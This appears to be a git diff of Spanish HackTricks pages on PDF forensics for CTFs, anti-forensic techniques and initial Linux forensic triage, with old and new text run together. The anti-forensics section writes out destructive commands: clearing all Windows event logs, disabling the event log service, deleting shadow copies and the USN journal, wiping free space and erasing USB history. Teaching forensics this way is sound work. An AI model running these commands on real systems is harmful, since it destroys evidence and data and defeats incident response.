Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Para más detalles, consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **Para más detalles consulta:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
El formato PDF es conocido por su complejidad y potencial para ocultar datos, convirtiéndolo en un punto focal para desafíos forenses de CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o encriptados, e incluso puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura de un PDF, se puede consultar el material introductorio de Didier Stevens [aquí](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizar herramientas como un editor de texto o un editor específico de PDF como Origami. El formato PDF es conocido por su complejidad y su potencial para ocultar datos, lo que lo convierte en un punto focal para los desafíos de forense en CTF. Combina elementos de texto plano con objetos binarios, que pueden estar comprimidos o cifrados, y puede incluir scripts en lenguajes como JavaScript o Flash. Para entender la estructura del PDF, se puede consultar el [material introductorio](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) de Didier Stevens, o usar herramientas como un editor de texto o un editor específico de PDF como Origami.
Para explorar o manipular PDFs en profundidad, se pueden utilizar herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDF pueden estar camuflados en: Para una exploración o manipulación más profunda de PDFs, están disponibles herramientas como [qpdf](https://github.com/qpdf/qpdf) y [Origami](https://github.com/mobmewireless/origami-pdf). Los datos ocultos dentro de los PDFs pueden estar ocultos en:
* Capas invisibles * Capas invisibles
* Formato de metadatos XMP de Adobe * Formato de metadatos XMP de Adobe
* Generaciones incrementales * Generaciones incrementales
* Texto del mismo color que el fondo * Texto del mismo color que el fondo
* Texto detrás de imágenes o superpuesto a imágenes * Texto detrás de imágenes o imágenes superpuestas
* Comentarios no mostrados * Comentarios no mostrados
Para un análisis personalizado de PDF, se pueden utilizar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis personalizados. Además, el potencial de los PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentre en su ubicación original, aún ofrecen información valiosa. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos de formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) por Ange Albertini pueden proporcionar lecturas adicionales sobre el tema. Para un análisis personalizado de PDF, se pueden usar bibliotecas de Python como [PeepDF](https://github.com/jesparza/peepdf) para crear scripts de análisis a medida. Además, el potencial del PDF para el almacenamiento de datos ocultos es tan vasto que recursos como la guía de la NSA sobre riesgos y contramedidas de PDF, aunque ya no se encuentra en su ubicación original, aún ofrecen valiosos conocimientos. Una [copia de la guía](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) y una colección de [trucos del formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) de Ange Albertini pueden proporcionar más lecturas sobre el tema.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}

View file

@ -1,83 +1,84 @@
# Técnicas Anti-Forense # Técnicas Anti-forenses
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Marcas de Tiempo ## Tiempos
Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\ Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\
Es posible encontrar las marcas de tiempo dentro de la MFT en los atributos `$STANDARD_INFORMATION` y `$FILE_NAME`. Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION` \_\_ y \_\_ `$FILE_NAME`.
Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB). Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB).
**El explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. **El explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**.
### TimeStomp - Herramienta Anti-Forense ### TimeStomp - Herramienta anti-forense
Esta herramienta **modifica** la información de marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividades sospechosas**. Esta herramienta **modifica** la información de la marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividad** **sospechosa**.
### Usnjrnl ### Usnjrnl
El **Diario USN** (Diario de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que realiza un seguimiento de los cambios de volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios. El **USN Journal** (Journal de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que rastrea los cambios en el volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios.
![](<../../.gitbook/assets/image (801).png>) ![](<../../.gitbook/assets/image (801).png>)
La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se realizaron algunos **cambios al archivo**. La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se **realizaron algunos cambios** en el archivo.
### $LogFile ### $LogFile
**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [registro de escritura anticipada](https://en.wikipedia.org/wiki/Write-ahead\_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden utilizar para analizar este archivo e identificar cambios. **Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [escritura anticipada](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden usar para analizar este archivo e identificar cambios.
![](<../../.gitbook/assets/image (137).png>) ![](<../../.gitbook/assets/image (137).png>)
Nuevamente, en la salida de la herramienta es posible ver que **se realizaron algunos cambios**. Nuevamente, en la salida de la herramienta es posible ver que **se realizaron algunos cambios**.
Utilizando la misma herramienta es posible identificar a **qué hora se modificaron las marcas de tiempo**: Usando la misma herramienta es posible identificar **a qué hora se modificaron las marcas de tiempo**:
![](<../../.gitbook/assets/image (1089).png>) ![](<../../.gitbook/assets/image (1089).png>)
* CTIME: Hora de creación del archivo * CTIME: Hora de creación del archivo
* ATIME: Hora de modificación del archivo * ATIME: Hora de modificación del archivo
* MTIME: Modificación del registro MFT del archivo * MTIME: Modificación del registro MFT del archivo
* RTIME: Hora de acceso al archivo * RTIME: Hora de acceso del archivo
### Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME` ### Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME`
Otra forma de identificar archivos modificados sospechosos sería comparar la hora en ambos atributos en busca de **diferencias**. Otra forma de identificar archivos modificados sospechosos sería comparar el tiempo en ambos atributos buscando **desajustes**.
### Nanosegundos ### Nanosegundos
Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Por lo tanto, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**. Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Por lo tanto, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**.
### SetMace - Herramienta Anti-Forense ### SetMace - Herramienta anti-forense
Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, a partir de Windows Vista, es necesario tener un sistema operativo en vivo para modificar esta información. Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, desde Windows Vista, es necesario que un sistema operativo en vivo modifique esta información.
## Ocultación de Datos ## Ocultación de Datos
NTFS utiliza un clúster y el tamaño mínimo de información. Esto significa que si un archivo ocupa un clúster y medio, el **medio restante nunca se utilizará** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de desecho**. NFTS utiliza un clúster y el tamaño mínimo de información. Eso significa que si un archivo ocupa y utiliza un clúster y medio, la **mitad restante nunca se utilizará** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de holgura**.
Existen herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se agregaron algunos datos: Hay herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se agregaron algunos datos:
![](<../../.gitbook/assets/image (1060).png>) ![](<../../.gitbook/assets/image (1060).png>)
Entonces, es posible recuperar el espacio de desecho utilizando herramientas como FTK Imager. Ten en cuenta que este tipo de herramienta puede guardar el contenido de forma obstruida o incluso encriptada. Entonces, es posible recuperar el espacio de holgura usando herramientas como FTK Imager. Tenga en cuenta que este tipo de herramienta puede guardar el contenido ofuscado o incluso cifrado.
## UsbKill ## UsbKill
Esta es una herramienta que **apagará la computadora si se detecta algún cambio en los puertos USB**.\ Esta es una herramienta que **apagará la computadora si se detecta algún cambio en los puertos USB**.\
Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de Python en ejecución**. Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de python en ejecución**.
## Distribuciones de Linux en Vivo ## Distribuciones de Linux en Vivo
@ -93,70 +94,86 @@ Es posible deshabilitar varios métodos de registro de Windows para dificultar m
### Deshabilitar Marcas de Tiempo - UserAssist ### Deshabilitar Marcas de Tiempo - UserAssist
Esta es una clave del registro que mantiene las fechas y horas en que se ejecutó cada ejecutable por el usuario. Esta es una clave de registro que mantiene las fechas y horas en que cada ejecutable fue ejecutado por el usuario.
Deshabilitar UserAssist requiere dos pasos: Deshabilitar UserAssist requiere dos pasos:
1. Establecer dos claves del registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambos en cero para indicar que queremos deshabilitar UserAssist. 1. Establecer dos claves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas a cero para señalar que queremos deshabilitar UserAssist.
2. Limpiar las subramas de tu registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`. 2. Limpiar sus subárboles de registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
### Deshabilitar Marcas de Tiempo - Prefetch ### Deshabilitar Marcas de Tiempo - Prefetch
Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de mejorar el rendimiento del sistema Windows. Sin embargo, esto también puede ser útil para prácticas forenses. Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de mejorar el rendimiento del sistema Windows. Sin embargo, esto también puede ser útil para prácticas forenses.
* Ejecutar `regedit` * Ejecutar `regedit`
* Seleccionar la ruta de archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` * Seleccionar la ruta del archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
* Hacer clic derecho en tanto `EnablePrefetcher` como `EnableSuperfetch` * Hacer clic derecho en `EnablePrefetcher` y `EnableSuperfetch`
* Seleccionar Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0 * Seleccionar Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0
* Reiniciar * Reiniciar
### Deshabilitar Marcas de Tiempo - Hora de Último Acceso ### Deshabilitar Marcas de Tiempo - Última Hora de Acceso
Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma el tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la hora de último acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento. Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma el tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la última hora de acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento.
1. Abrir el Editor del Registro (Regedit.exe). 1. Abra el Editor del Registro (Regedit.exe).
2. Navegar a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. 2. Navegue a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Buscar `NtfsDisableLastAccessUpdate`. Si no existe, agregar este DWORD y establecer su valor en 1, lo que deshabilitará el proceso. 3. Busque `NtfsDisableLastAccessUpdate`. Si no existe, agregue este DWORD y establezca su valor en 1, lo que deshabilitará el proceso.
4. Cerrar el Editor del Registro y reiniciar el servidor. 4. Cierre el Editor del Registro y reinicie el servidor.
### Borrar Historial de USB
Todos los **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave del registro **USBSTOR** que contiene subclaves que se crean cada vez que conectas un Dispositivo USB a tu PC o Laptop. Puedes encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Al eliminar esto** borrarás el historial de USB.\ ### Eliminar Historial de USB
También puedes usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) para asegurarte de haberlos eliminado (y para eliminarlos).
Otro archivo que guarda información sobre los USBs es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debería ser eliminado. Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave de registro **USBSTOR** que contiene subclaves que se crean cada vez que conecta un dispositivo USB a su PC o Laptop. Puede encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminar esto** eliminará el historial de USB.\
También puede usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para asegurarse de que los ha eliminado (y para eliminarlos).
Otro archivo que guarda información sobre los USB es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debe ser eliminado.
### Deshabilitar Copias de Sombra ### Deshabilitar Copias de Sombra
**Listar** las copias de sombra con `vssadmin list shadowstorage`\ **Listar** copias de sombra con `vssadmin list shadowstorage`\
**Eliminar** ejecutando `vssadmin delete shadow` **Eliminar** ejecutando `vssadmin delete shadow`
También puedes eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) También puede eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB\_Inf/Other/WKB15560\_How\_to\_disable\_Volume\_Shadow\_Copy\_Service\_VSS\_in\_Windows): Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Abre el programa Servicios escribiendo "servicios" en la caja de búsqueda de texto después de hacer clic en el botón de inicio de Windows. 1. Abra el programa de Servicios escribiendo "services" en el cuadro de búsqueda de texto después de hacer clic en el botón de inicio de Windows.
2. En la lista, encuentra "Copia de Sombra de Volumen", selecciónalo y luego accede a Propiedades haciendo clic derecho. 2. En la lista, busque "Copia de Sombra de Volumen", selecciónelo y luego acceda a Propiedades haciendo clic derecho.
3. Elige Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirma el cambio haciendo clic en Aplicar y Aceptar. 3. Elija Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirme el cambio haciendo clic en Aplicar y Aceptar.
También es posible modificar la configuración de qué archivos van a ser copiados en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` También es posible modificar la configuración de qué archivos se van a copiar en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
### Sobrescribir archivos eliminados ### Sobrescribir archivos eliminados
* Puedes usar una **herramienta de Windows**: `cipher /w:C` Esto indicará a cipher que elimine cualquier dato del espacio de disco no utilizado disponible dentro de la unidad C. * Puede usar una **herramienta de Windows**: `cipher /w:C` Esto indicará a cipher que elimine cualquier dato del espacio de disco no utilizado disponible dentro de la unidad C.
* También puedes usar herramientas como [**Eraser**](https://eraser.heidi.ie) * También puede usar herramientas como [**Eraser**](https://eraser.heidi.ie)
### Borrar registros de eventos de Windows ### Eliminar registros de eventos de Windows
* Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Haz clic derecho en cada categoría y selecciona "Borrar Registro" * Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Hacer clic derecho en cada categoría y seleccionar "Borrar registro"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` * `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` * `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
### Deshabilitar registros de eventos de Windows ### Deshabilitar registros de eventos de Windows
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` * `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* Dentro de la sección de servicios, deshabilita el servicio "Registro de Eventos de Windows" * Dentro de la sección de servicios deshabilitar el servicio "Registro de Eventos de Windows"
* `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl` * `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
### Deshabilitar $UsnJrnl ### Deshabilitar $UsnJrnl
* `fsutil usn deletejournal /d c:` * `fsutil usn deletejournal /d c:`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Forense en Linux # Linux Forensics
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas del mundo**.\ Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Acceda hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprenda hacking en AWS desde cero hasta convertirse en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtenga la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Recopilación de Información Inicial ## Recolección Inicial de Información
### Información Básica ### Información Básica
En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos y buenos** (puede simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego montar la USB y modificar las variables de entorno para usar esos binarios: Primero que nada, se recomienda tener un **USB** con **binaries y bibliotecas bien conocidas** (puedes simplemente obtener ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib,_ y _/lib64_), luego monta el USB y modifica las variables de entorno para usar esos binaries:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar **a extraer alguna información básica**: Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar a **extraer información básica**:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -51,11 +52,11 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### Información sospechosa #### Información sospechosa
Mientras se obtiene la información básica, se debe verificar cosas extrañas como: Mientras obtienes la información básica, debes verificar cosas extrañas como:
- Los **procesos de root** generalmente se ejecutan con PIDS bajos, por lo que si encuentras un proceso de root con un PID alto, puedes sospechar * **Los procesos de root** generalmente se ejecutan con PIDS bajos, así que si encuentras un proceso de root con un PID grande, puedes sospechar.
- Verificar **inicios de sesión registrados** de usuarios sin shell dentro de `/etc/passwd` * Verifica los **inicios de sesión registrados** de usuarios sin un shell dentro de `/etc/passwd`.
- Verificar **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin shell * Verifica los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin un shell.
### Volcado de memoria ### Volcado de memoria
